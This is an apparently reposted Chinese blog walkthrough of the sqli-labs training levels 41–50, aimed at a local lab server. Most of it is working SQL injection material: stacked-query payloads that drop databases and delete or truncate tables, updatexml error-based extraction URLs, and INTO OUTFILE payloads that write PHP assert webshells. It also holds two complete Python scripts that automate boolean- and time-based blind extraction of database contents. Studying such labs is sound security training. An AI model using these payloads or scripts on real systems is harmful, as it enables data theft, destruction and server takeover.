目錄
Less41
Less42
Less43
Less44
Less45
Less46
Less47
Less48
Less49
Less50
Less41
這關和Less40差不多,先通過布爾盲注來找到閉合,然后就肆無忌憚堆疊注入了,
找閉合:
http://192.168.101.16/sqli-labs-master/Less-41/?id=1 有查詢結果
http://192.168.101.16/sqli-labs-master/Less-41/?id=1' 無查詢結果
http://192.168.101.16/sqli-labs-master/Less-41/?id=1" 無查詢結果
http://192.168.101.16/sqli-labs-master/Less-41/?id=1-- s 有查詢結果
不需要閉合(我可太喜歡這關的粉色了)

這關用堆疊注入刪掉xiannv資料庫的xiang表:
http://192.168.101.16/sqli-labs-master/Less-41/?id=1;drop table xiannv.xiang-- s
資料庫上可以看到xiannv資料庫已經沒有xiang表了

這關代碼也和前幾關同樣是堆疊注入的差不多,不看了
Less42
幾個鏈接翻了一圈,只有http://192.168.101.16/sqli-labs-master/Less-42/index.php有輸入框
注意下面用hackbar進行sql注入的時候,hackbar的url欄需要填:
http://192.168.101.16/sqli-labs-master/Less-42/login.php
因為資料是提交到login.php的,網頁有提交資料時跳轉的功能,hackbar可沒有
Post data分別輸入以下兩條payload,測驗Username輸入框是否有報錯注入點:
login_user=admin'&login_password=pass&mysubmit=Login
login_user=admin"&login_password=pass&mysubmit=Login
兩次結果是一樣的,都是下圖這樣,沒有報錯,也沒登錄成功

Post data分別輸入以下兩條payload,測驗Password輸入框是否有報錯注入點:
login_user=admin&login_password=pass'&mysubmit=Login
login_user=admin&login_password=pass"&mysubmit=Login
加單引號那條(第一條),有回顯下圖所示的sql語法錯誤,從報錯資訊看,閉合是單引號

上一關把xiannv資料庫的xiang表刪掉了,這關把xiannv資料庫刪掉
Post data輸入:
login_user=admin&login_password=pass';drop database xiannv#&mysubmit=Login
服務器上navicat關閉連接重新再連一下,發現左側資料庫串列已經沒有xiannv資料庫了

下面分析一下代碼:
這關表單資料提交到login.php

追到login.php看一下,login_user的值用mysqli_real_escape_string()轉義特殊字符了,而且這關又不符合寬位元組注入的條件,因此username的單引號沒法閉合,而login_password的值不經處理代入sql陳述句,可以閉合單引號,帶入后面增加的sql陳述句,

Less43
和上一關差不多,就閉合不同罷了……
重申一遍,用hackbar注入的話,hackbar的地址欄要填:
http://192.168.101.16/sqli-labs-master/Less-43/login.php
也就是表單提交的目標頁面
照著上一關的套路找閉合,試到
login_user=admin&login_password=pa'&mysubmit=Login
的時候通過回顯的sql語法錯誤發現閉合是')

接下來就是為所欲為的時候了,由于之前通過堆疊注入創建的測驗用的資料庫已經在前幾關折騰光了,這關我先手工在服務器上創建個測驗用的資料庫,然后再繼續折騰它,
如下圖所示,我建了個earth資料庫plant表,里面有三行資料,分別是三種花花的名字

然后在hackbar的Post data中輸入:
login_user=admin&login_password=pa');delete from earth.plant#&mysubmit=Login
再看服務器上,plant表中的花花都被拔光了

注意:由于堆疊注入兩條陳述句的結果是分開的,在一些代碼邏輯下(比如本關),只有第一條陳述句錯誤的情況下才會報sql錯誤,如果第一條陳述句正確,第二條陳述句就算有錯誤也不會在頁面回顯,
代碼沒啥好說的,和上關原理是一樣的,就是閉合多個括號,另外從代碼邏輯可以看出來,本關報不報sql語法錯誤是根據第一條陳述句有沒有執行成功來判斷的,第一條陳述句執行成功了,第二條就算失敗也不會報錯,

Less44
這關其實也沒有太大變化,變化主要是在找閉合這步,這關不再報sql語法錯誤了,所以需要用布爾盲注的方法去找閉合,
具體來說,就本靶場而言,當Less42中的4條找閉合的payload發送后,頁面都不報sql語法錯誤的話,就說明頁面不會回顯sql語法錯誤,
盲注找閉合的方法其實也很簡單,像本關這樣兩個輸入框的正確值都不知道的情況下,在普通找閉合的payload中閉合符號之后增加 or 1=1#就行,如果回傳的頁面顯示登錄成功,說明閉合成功,
用hackbar向http://192.168.101.16/sqli-labs-master/Less-44/login.php發送如下payload檢查username輸入框是否有注入點
login_user=admin' or 1=1#&login_password=pass&mysubmit=Login
login_user=admin" or 1=1#&login_password=pass&mysubmit=Login
頁面回顯都是下圖這樣登錄失敗的頁面,username輸入框沒找到注入點

用hackbar向http://192.168.101.16/sqli-labs-master/Less-44/login.php發送如下payload檢查password輸入框是否有注入點
login_user=admin&login_password=pass" or 1=1#&mysubmit=Login
login_user=admin&login_password=pass' or 1=1#&mysubmit=Login
第一潭訓是顯示登錄失敗的頁面,但第二條顯示了登錄成功的頁面

接下來就是堆疊注入的部分了,我們來堆一下:
還是上關那張表,我又手工寫了一條記錄進去

然后在hackbar中向http://192.168.101.16/sqli-labs-master/Less-44/login.php發送以下payload,洗掉表earth.plant中的資料
login_user=admin&login_password=pass';truncate table earth.plant#&mysubmit=Login
再到服務器上看,重繪以下plant表的顯示,發現表中的資料已經被洗掉了

本關代碼和Less42的代碼大體上是一致的,只是第一條陳述句執行失敗時不再報sql語法錯誤,所以代碼就不截圖咯,
Less45
這關和上一關的區別是閉合不同,按照上一關找閉合的套路走一遍(當然由于閉合不同,上一關的payload都是無法回傳登錄成功頁面的),
當hackbar向http://192.168.101.16/sqli-labs-master/Less-45/login.php提交payload:
login_user=admin&login_password=pass') or 1=1#&mysubmit=Login
時,回傳了登錄成功的頁面

然后就到了想想這關干嘛的環節,想了一會兒,決定這關給earth.plant加一列,
用hackbar向http://192.168.101.16/sqli-labs-master/Less-45/login.php提交payload:
login_user=admin&login_password=pass');alter table earth.plant add column num int(10)#&mysubmit=Login
到服務器上一看,earth.plant增加了一個名為num的列(欄位)


Less46
試試sort值分別取1,2,3,就能發現,這關的引數是order by后面的值,也就是說,這關的sort引數值表示根據表的哪一列來排列查詢結果
http://192.168.101.16/sqli-labs-master/Less-46/?sort=1
http://192.168.101.16/sqli-labs-master/Less-46/?sort=2
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3
比如下圖sort的值為3,表示根據第三列,也就是PASSWORD的大小來排序查詢結果

order by后面是不能接union select的,可以試試不會不報sql語法錯誤,如果會報,就可以用報錯注入,
地址欄輸入 :http://192.168.101.16/sqli-labs-master/Less-46/?sort=3'
報了sql語法錯誤,根據報錯資訊,本關無閉合符號,

下面就可以用報錯注入的方法來爆資料了:
#獲取服務器上所有資料庫的名稱
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)
#獲取pikachu資料庫的所有表名稱
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1)
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1)
#獲取pikachu資料庫message表的所有列名稱
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'),1,31),0x7e),1)
#獲取pikachu資料庫message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(concat(id,'^',content)) from pikachu.message),1,31),0x7e),1)
最終結果

寫webshell可以用下面的payload:
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 limit 0,1 into outfile 'C:/phpstudy_pro/WWW/46.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737334365D293B3F3E
lines terminated by xxx是在查詢結果每一行后面加上xxx,所以payload中加了limit 0,1限制查詢結果僅取第一行,
服務器上被寫入的webshell

重要題外話:
我原本以為這關只要sort不存在的列,連接符就可以是or,但事實上并不是這樣,
為了方便理解,我直接在服務器上的navicat演示:
當查詢是:SELECT * FROM users ORDER BY 4
回傳結果報錯,不存在第4列

當查詢是:
SELECT * FROM users ORDER BY 4 or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)
竟然輸出了查詢結果,,,并且還是按第一列排序的,,仙女震驚,,,

然后試了一下
SELECT 4 or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)
果不其然,結果是1

根據我的推測,結果是一個布林值,不為0的數都為真,這里4已經為真,所以就引發了短路,or后面的陳述句就不執行了,
根據這個推測,可以得到兩個資訊:
(1)updatexml的報錯是sql陳述句執行程序中的報錯,即執行到它才會報錯
(2)如果ORDER BY 0就可以用or作為連接符
試一下:
SELECT * FROM users ORDER BY 0 or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)
OK,計劃通~

本關代碼倒是沒啥,注意一下入參在sql查詢中的位置就好

Less47
和上一關基本一樣,就閉合不同
地址欄輸入:http://192.168.101.16/sqli-labs-master/Less-47/?sort=1'
從報錯可知閉合是單引號

爆資料的payload如下:
#獲取服務器上所有資料庫的名稱
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)-- s
#獲取pikachu資料庫的所有表名稱
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1)-- s
#獲取pikachu資料庫message表的所有列名稱
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'),1,31),0x7e),1)-- s
#獲取pikachu資料庫message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(id,'^',content)) from pikachu.message),1,31),0x7e),1)-- s
最終結果:

寫webshell的payload如下:
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' limit 0,1 into outfile 'C:/phpstudy_pro/WWW/47.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737334375D293B3F3E -- s
服務器上寫入的webshell:

本關代碼和上一關就sql陳述句中引數的閉合符不同,不多說了

Less48
(本關找通關方法的分析部分比較多,覺得煩的話可以直接拉到最下面)
地址欄輸入http://192.168.101.16/sqli-labs-master/Less-48/?sort=1
回傳正確的查詢結果

地址欄輸入:
http://192.168.101.16/sqli-labs-master/Less-48/?sort=1'
http://192.168.101.16/sqli-labs-master/Less-48/?sort=1"
沒有查詢結果回傳

從以上操作結果可知:
(1)本關是數字型,無閉合
(2)本關不能報錯注入,但可以布爾盲注
下面我又得改我的python腳本了……本來打算改成跟原來的差不多的and/or xxx形式的payload,發現不行啊……到服務器上用navicat試了一下,結果發現下面幾條陳述句都有相同的查詢結果
SELECT * FROM users ORDER BY 3 and 0
SELECT * FROM users ORDER BY 3 and 1
SELECT * FROM users ORDER BY 3 or 0
SELECT * FROM users ORDER BY 3 or 1
查詢結果都是

看來此路不通啊
突然想起來之前webgoat里面好像遇到過這種情況 WebGoat (A1) SQL Injection (mitigation)_箭雨鏡屋-CSDN博客
于是我又在navicat上試了一下,下面兩條查詢陳述句回傳的結果都是和上圖一樣的,仙女無語
SELECT * FROM users ORDER BY (CASE WHEN (1) THEN 1 ELSE 2 END)
SELECT * FROM users ORDER BY (CASE WHEN (0) THEN 1 ELSE 2 END)
不過仙女又想,THEN和ELSE后面換成列名稱又如何呢?果然
SELECT * FROM users ORDER BY (CASE WHEN (1) THEN id ELSE username END)
的查詢結果是按id排序的

SELECT * FROM users ORDER BY (CASE WHEN (0) THEN id ELSE username END)
查詢結果是按username排序的

也就是說,我要用這個方法的話,我還得先知道列名稱……仙女再次無語(后來想想……網頁回顯了列名了,其實這種方法是可以的,失策失策)
百度了一下,發現注入點在order by的時候還能用rand()函式來盲注,還是先在navicat上試試
確實rand(0)和rand(1)的查詢結果不一樣,此路通


為了腳本識別方便,結尾再加個limit 0,1只保留第一行結果,
本關通關用的思路大概是讓python腳本識別SELECT * FROM users ORDER BY rand(1) limit 0,1與SELECT * FROM users ORDER BY rand(0) limit 0,1的查詢結果的不同,
來看看最終的成果吧
#!/usr/bin/python3
# coding=utf-8
"""
functions for boolean-based sql injection(GET)
:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""
import requests
url = "http://192.168.101.16/sqli-labs-master/Less-48/" #有可利用漏洞的url,根據實際情況填寫
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",} #http request報文頭部,根據實際情況填寫
keylist = [chr(i) for i in range(33, 127)] #包括數字、大小寫字母、可見特殊字符
flag = 'admin3' #用于判斷附加sql陳述句為真的字符,根據網頁回顯填寫
def Database48():
n = 100 #預測當前資料庫名稱最大可能的長度,根據實際情況填寫
k = 0
j = n//2
length = 0
db = str()
while True:
if j>k and j<n and j-k>3:
payload1 = "rand(length((select group_concat(schema_name) from information_schema.schemata))>"+str(j)+") limit 0,1-- s" #所有payload根據實際情況填寫
param = {
"sort":payload1,
}
response = requests.get(url, params = param, headers = headers) #GET方法發送含payload的request
#print(response.request.headers)
#print(response.text)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload2 = "rand(length((select group_concat(schema_name) from information_schema.schemata))="+str(i)+") limit 0,1-- s"
param = {
"sort":payload2,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all databases contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload3 = "rand(substr((select group_concat(schema_name) from information_schema.schemata),"+str(i)+",1)='"+c+"') limit 0,1-- s"
param = {
"sort":payload3,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
db = db+c
break
print("the name of all databases is "+str(db))
def Tables48(database):
n = 100 #預測當前資料庫中所有表名稱最大可能的長度,根據實際情況填寫
k = 0
j = n//2
length = 0
tname = str()
while True:
if j>k and j<n and j-k>3:
payload4 = "rand(length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'))>"+str(j)+") limit 0,1-- s"
param = {
"sort":payload4,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload5 = "rand(length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'))="+str(i)+") limit 0,1-- s"
param = {
"sort":payload5,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all tables contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload6 = "rand(substr((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'),"+str(i)+",1)='"+c+"') limit 0,1-- s"
param = {
"sort":payload6,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
tname = tname+c
break
print("the name of all tables is "+str(tname))
def Columns48(database,table): #table引數是需要爆破的資料表名稱,記得加單引號
n = 200 #預測某個表所有列名稱最大可能的長度,根據實際情況填寫
k = 0
j = n//2
length = 0
cname = str()
while True:
if j>k and j<n and j-k>3:
payload7 = "rand(length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'))>"+str(j)+") limit 0,1-- s"
param = {
"sort":payload7,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload8 = "rand(length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'))="+str(i)+") limit 0,1-- s"
param = {
"sort":payload8,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all columns in current table contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload9 = "rand(substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'),"+str(i)+",1)='"+c+"') limit 0,1-- s"
param = {
"sort":payload9,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
cname = cname+c
break
print("the name of all columns in current table is "+str(cname))
def Content48(database,table,col1,col2): #table引數是需要爆破的資料表名稱,col1和col2是需要爆破內容的列,記得都要加單引號
n = 200 #預測期望獲取的資料的最大可能的長度,根據實際情況填寫
k = 0
j = n//2
length = 0
content = str()
while True:
if j>k and j<n and j-k>3:
payload10 = "rand(length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"))>"+str(j)+") limit 0,1-- s"
param = {
"sort":payload10,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload11 = "rand(length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"))="+str(i)+") limit 0,1-- s"
param = {
"sort":payload11,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the content contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload12 = "rand(substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"),"+str(i)+",1)='"+c+"') limit 0,1-- s"
param = {
"sort":payload12,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
content = content+c
break
print("the content is "+str(content))
測驗結果

源代碼就不分析了,無非就是去掉了print_r(mysql_error());的LESS46
Less49
首先還是判斷一下是否有閉合,分別輸入下面的payload:
http://192.168.101.16/sqli-labs-master/Less-49/?sort=1"
http://192.168.101.16/sqli-labs-master/Less-49/?sort=1'
發現第一條payload(雙引號)回傳正確查詢結果

第二條payload(單引號)不回傳查詢結果
由此可見,閉合包含單引號,再用以下payload驗證以下,閉合是否是單引號
http://192.168.101.16/sqli-labs-master/Less-49/?sort=1'-- s
回傳正確查詢結果,說明閉合是單引號,

想看看能不能布爾盲注,于是嘗試了下面兩組payload
http://192.168.101.16/sqli-labs-master/Less-49/?sort=1' and rand(1)-- s
http://192.168.101.16/sqli-labs-master/Less-49/?sort=1' and rand(0)-- s
http://192.168.101.16/sqli-labs-master/Less-49/?sort=rand(1)' -- s
http://192.168.101.16/sqli-labs-master/Less-49/?sort=rand(0)' -- s
第一組兩個payload都回傳下圖結果,沒有區別(我也沒看明白這到底是按照什么排序的……)

第二組兩個payload都回傳下圖結果,沒有區別(其實實際情況下應該不會order by后面接引號,因為要么是列數,要么是列名,都不需要引號,并且其實引號內是任意字符結果都是一樣的,)

看來這關是沒法布爾盲注了……只能試試痛苦的時間盲注
輸入下面兩條payload,發現第一條payload回顯無時延,第二條有時延,這里sleep(0.1)是因為sql查詢回傳值行數太多了,每一行都會sleep,因此值設定小一點,總量還是有1.5s左右的
http://192.168.101.16/sqli-labs-master/Less-49/?sort=1' and if(0,sleep(0.1),1) -- s
http://192.168.101.16/sqli-labs-master/Less-49/?sort=1' and if(1,sleep(0.1),1) -- s
下面我就把我之前寫的時間盲注的腳本改改吧……痛苦……
# !/usr/bin/python3
# coding=utf-8
"""
functions for time-based sql injection(blind)
:copyright: Copyright (c) 2019, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""
import requests
url = "http://192.168.101.16/sqli-labs-master/Less-49/" #有可利用漏洞的url,根據實際情況填寫
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",} #http request報文頭部,根據實際情況填寫
keylist = [chr(i) for i in range(33, 127)] #包括數字、大小寫字母、可見特殊字符
def Database49():
n = 100 #預測當前資料庫名稱最大可能的長度,根據實際情況填寫
k = 0
j = n//2
length = 0
db = str()
while True:
if j>k and j<n and j-k>3:
payload1 = "1' and if(length((select group_concat(schema_name) from information_schema.schemata))>"+str(j)+",sleep(0.1),1)-- ss" #所有payload根據實際情況填寫
param = {
"sort":payload1,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1) #本腳本根據GET型注入撰寫,遇到POST型可修改改行方法和引數,其他所有函式中同樣
k=k
n=j
except:
n=n
k=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload2 = "1' and if(length((select group_concat(schema_name) from information_schema.schemata))="+str(i)+",sleep(0.1),1)-- ss"
param = {
"sort":payload2,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1)
except:
length = i
break
break
else:
break
print("the name of all databases contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload3 = "1' and if(substr((select group_concat(schema_name) from information_schema.schemata),"+str(i)+",1)='"+c+"',sleep(0.1),1)-- ss"
param = {
"sort":payload3,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1)
except:
db = db+c
break
print("the name of all databases is "+str(db))
def Tables49(database):
n = 100 #預測當前資料庫中所有表名稱最大可能的長度,根據實際情況填寫
k = 0
j = n//2
length = 0
tname = str()
while True:
if j>k and j<n and j-k>3:
payload4 = "1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'))>"+str(j)+",sleep(0.1),1)-- ss"
param = {
"sort":payload4,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1) #本腳本根據GET型注入撰寫,遇到POST型可修改改行方法和引數,其他所有函式中同樣
k=k
n=j
except:
n=n
k=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload5 = "1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'))="+str(i)+",sleep(0.1),1)-- ss"
param = {
"sort":payload5,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1)
except:
length = i
break
break
else:
break
print("the name of all tables contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload6 = "1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'),"+str(i)+",1)='"+c+"',sleep(0.1),1)-- ss"
param = {
"sort":payload6,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1)
except:
tname = tname+c
break
print("the name of all tables is "+str(tname))
def Columns49(database,table):
n = 200 #預測某個表所有列名稱最大可能的長度,根據實際情況填寫
k = 0
j = n//2
length = 0
cname = str()
while True:
if j>k and j<n and j-k>3:
payload7 = "1' and if(length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'))>"+str(j)+",sleep(0.1),1)-- ss"
param = {
"sort":payload7,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1) #本腳本根據GET型注入撰寫,遇到POST型可修改改行方法和引數,其他所有函式中同樣
k=k
n=j
except:
n=n
k=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload8 = "1' and if(length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'))="+str(i)+",sleep(0.1),1)-- ss"
param = {
"sort":payload8,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1)
except:
length = i
break
break
else:
break
print("the name of all columns in current table contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload9 = "1' and if(substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'),"+str(i)+",1)='"+c+"',sleep(0.1),1)-- ss"
param = {
"sort":payload9,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1)
except:
cname = cname+c
break
print("the name of all columns in current table is "+str(cname))
def Content49(database,table,col1,col2):
n = 200 #預測期望獲取的資料的最大可能的長度,根據實際情況填寫
k = 0
j = n//2
length = 0
content = str()
while True:
if j>k and j<n and j-k>3:
payload10 = "1' and if(length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"))>"+str(j)+",sleep(0.1),1)-- ss"
param = {
"sort":payload10,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1) #本腳本根據GET型注入撰寫,遇到POST型可修改改行方法和引數,其他所有函式中同樣
k=k
n=j
except:
n=n
k=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload11 = "1' and if(length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"))="+str(i)+",sleep(0.1),1)-- ss"
param = {
"sort":payload11,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1)
except:
length = i
break
break
else:
break
print("the content contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload12 = "1' and if(substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"),"+str(i)+",1)='"+c+"',sleep(0.1),1)-- ss"
param = {
"sort":payload12,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1)
except:
content = content+c
break
print("the content is "+str(content))
測驗結果

這關源代碼也不分析了,和上一關差不多,就是sql查詢陳述句有個畫蛇添足的單引號閉合,
Less50
瀏覽器地址欄輸入下面兩個url都會報sql語法錯誤,可見本關不需要閉合
http://192.168.101.16/sqli-labs-master/Less-50/?sort=1"
http://192.168.101.16/sqli-labs-master/Less-50/?sort=1'

這關說是堆疊注入,那就用堆疊注入寫個webshell好了,payload如下:
http://192.168.101.16/sqli-labs-master/Less-50/?sort=1;select '<?php assert($_POST[less50]);?>' into outfile 'C:/phpstudy_pro/WWW/less50.php'
服務器上寫入的webshell

本關代碼就不展示了,是order by注入關卡(比如Less46)和堆疊注入關卡的合體,和堆疊注入關卡一樣,只能顯示第一條sql陳述句的結果,也只有第一條陳述句有問題的時候會報語法錯誤;因此爆資料的操作還是得靠報錯注入,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/300967.html
標籤:其他
下一篇:計算機網路(2)_物理層
